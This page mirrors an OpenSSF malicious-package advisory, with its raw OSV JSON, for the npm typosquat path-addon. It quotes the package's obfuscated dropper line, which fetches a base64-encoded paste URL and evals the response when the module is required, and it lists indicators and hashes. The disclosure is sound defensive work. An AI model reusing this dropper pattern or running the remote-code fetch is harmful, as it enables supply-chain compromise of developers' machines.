目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

path-addon

MAL-2026-3311
2026-09-01 11:20:29
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in path-addon (npm)

文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
9
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmpath-addon1.0.2
npmpath-addon1.0.3
npmpath-addon1.0.4
npmpath-addon1.0.5
npmpath-addon1.0.6
npmpath-addon1.0.7
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-3311","published":"2026-05-01T07:11:33Z","modified":"2026-09-01T11:20:28.936966964Z","aliases":["GHSA-hqv8-vf3j-m8q6"],"summary":"Malicious code in path-addon (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ba1a7df799b6bd11bd036f1cfb1de6b1dfe0e4e72082be1b8a60537a59e5ae58)\npath-addon impersonates the Node.js core `path` module (package name `path-addon`, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls `fetch(atob(\"aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ==\"))` — which decodes to https://www.jsonkeeper.com/b/RFW6I, an anonymous mutable JSON paste host — then reads the response's `content` field and passes it to `eval()`. The destination URL is base64-encoded specifically to evade casual review and string-based scanners. Any process that imports path-addon executes whatever JavaScript the attacker has placed at that paste URL at the moment of require(), with no integrity check, no pinning, and no version constraint. The combined shape (typosquat name + trojanized legitimate source + obfuscated fetch + eval of remote content at module load) is unambiguous attacker tooling.\n\n## Source: ossf-package-analysis (4aac3da4c776f814c79af215bfde0f1ee2c3db50e9b18997447f28e9d04df88a)\nThe OpenSSF Package Analysis project identified 'path-addon' @ 1.0.4 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"path-addon","ecosystem":"npm"},"versions":["1.0.4","1.0.6","1.0.5","1.0.7","1.0.2","1.0.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["www.jsonkeeper.com"],"evidence_files":[{"path":"path.js","sha256":"266311c35a81980e7c59d5d12dcbcc6aaf8b0a4fc5ab082a57586efd13e68baa","tlsh":"897296045945654a9a3677b0df0a340ef77688f35315ab00f89ce6502f72e78a2feed8"},{"path":"README.md","sha256":"c4c84bbc00493a9ac804f2dabcfd2767e9408ab280a87c12d14c887bfd81bf81","tlsh":"2dd0978c0383312761ac4703faa680e28d02e4cd4723100078ce5bf0a2b1da1402610e"}],"package_integrity":[{"filename":"path-addon-1.0.5.tgz","hashes":{"sha1":"e31fdedd8ffeee18b4dfa68129407959c824c723","sha512_sri":"sha512-61gD0Y6RUnuB0mAVP3Xw6IjjjxTjUpWRbK89PzAhVRG60TfTRv8CNc9XLjBEJs+KpE0PWYsbbd+DyzvnQSoHYw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/path-addon/v/1.0.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/path-addon/v/1.0.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/path-addon/v/1.0.7"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hqv8-vf3j-m8q6"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-05-04T03:13:19.749729318Z","modified_time":"2026-05-01T07:11:33Z","sha256":"4aac3da4c776f814c79af215bfde0f1ee2c3db50e9b18997447f28e9d04df88a","source":"ossf-package-analysis","versions":["1.0.4"]},{"import_time":"2026-05-12T07:28:51.773167504Z","modified_time":"2026-05-12T06:53:21Z","sha256":"1f1ee3f4c05bbe24c4113835e304dd3ee650c0a9eee8a4d62046283612827742","source":"amazon-inspector","versions":["1.0.4"]},{"import_time":"2026-05-26T00:54:40.033890594Z","modified_time":"2026-05-25T17:27:33Z","sha256":"841010d222011fd6020bd7fc04307bbf20506c3fa1837fb14c4ec50996458a76","source":"ossf-package-analysis","versions":["1.0.6"]},{"id":"IN-MAL-2026-004708","import_time":"2026-05-26T05:53:07.668659711Z","modified_time":"2026-05-25T15:35:01Z","sha256":"dd3198bde6aa2ea1b04043cb0a16d831667118334a13c759c7097261933457a1","source":"amazon-inspector","versions":["1.0.5"]},{"id":"IN-MAL-2026-004707","import_time":"2026-05-26T05:53:07.508831951Z","modified_time":"2026-05-25T15:34:51Z","sha256":"0e17241453cc8d0c8c3ce06b18aa75eaca0799c9af55e08d406e2c5fed41a695","source":"amazon-inspector","versions":["1.0.5"]},{"id":"IN-MAL-2026-004721","import_time":"2026-05-26T05:53:09.369780288Z","modified_time":"2026-05-25T16:22:50Z","sha256":"11d09848fb828ae851ef7b905f793e3b5876ee2a5ef4b4f8bf06d631ea904d78","source":"amazon-inspector","versions":["1.0.6"]},{"id":"IN-MAL-2026-004722","import_time":"2026-05-26T05:53:09.513367294Z","modified_time":"2026-05-25T16:22:55Z","sha256":"4d7ce32d8902775c2d8d86acb27650f28f454f623487504019f5ee4388f0c8ac","source":"amazon-inspector","versions":["1.0.6"]},{"id":"IN-MAL-2026-004935","import_time":"2026-06-08T21:15:22.230568399Z","modified_time":"2026-06-08T20:28:30Z","sha256":"44f7119799063ff81af4ca2879278aa26f2e56e23a601ef632a65f97d67a0451","source":"amazon-inspector","versions":["1.0.7"]},{"id":"IN-MAL-2026-004934","import_time":"2026-06-08T21:15:22.165466482Z","modified_time":"2026-06-08T20:28:29Z","sha256":"ba1a7df799b6bd11bd036f1cfb1de6b1dfe0e4e72082be1b8a60537a59e5ae58","source":"amazon-inspector","versions":["1.0.7"]},{"id":"RLMA-2026-05204","import_time":"2026-07-09T09:16:41.404150413Z","modified_time":"2026-07-07T13:03:23Z","sha256":"8a8e705dbcb79767c42010101a4f3edcaf91f94c0ae03770b16a45fb9e8c7991","source":"reversing-labs","versions":["1.0.2","1.0.3","1.0.4","1.0.5","1.0.6"]},{"id":"RLUA-2026-05591","import_time":"2026-07-20T13:15:03.491250859Z","modified_time":"2026-07-20T10:53:39Z","sha256":"5618c3783c777274e8dcf7835ee0f9d163b309e5c5119343f4c55284b63add85","source":"reversing-labs","versions":["1.0.7"]},{"id":"RLUA-2026-06365","import_time":"2026-09-01T11:18:14.641305167Z","modified_time":"2026-08-24T17:03:28Z","sha256":"249d20b64cda927a7ebad77fbd07429a2b10ea2403c22735172189eed6ba4c26","source":"reversing-labs"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com","inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"},{"name":"ReversingLabs","contact":["https://www.reversinglabs.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0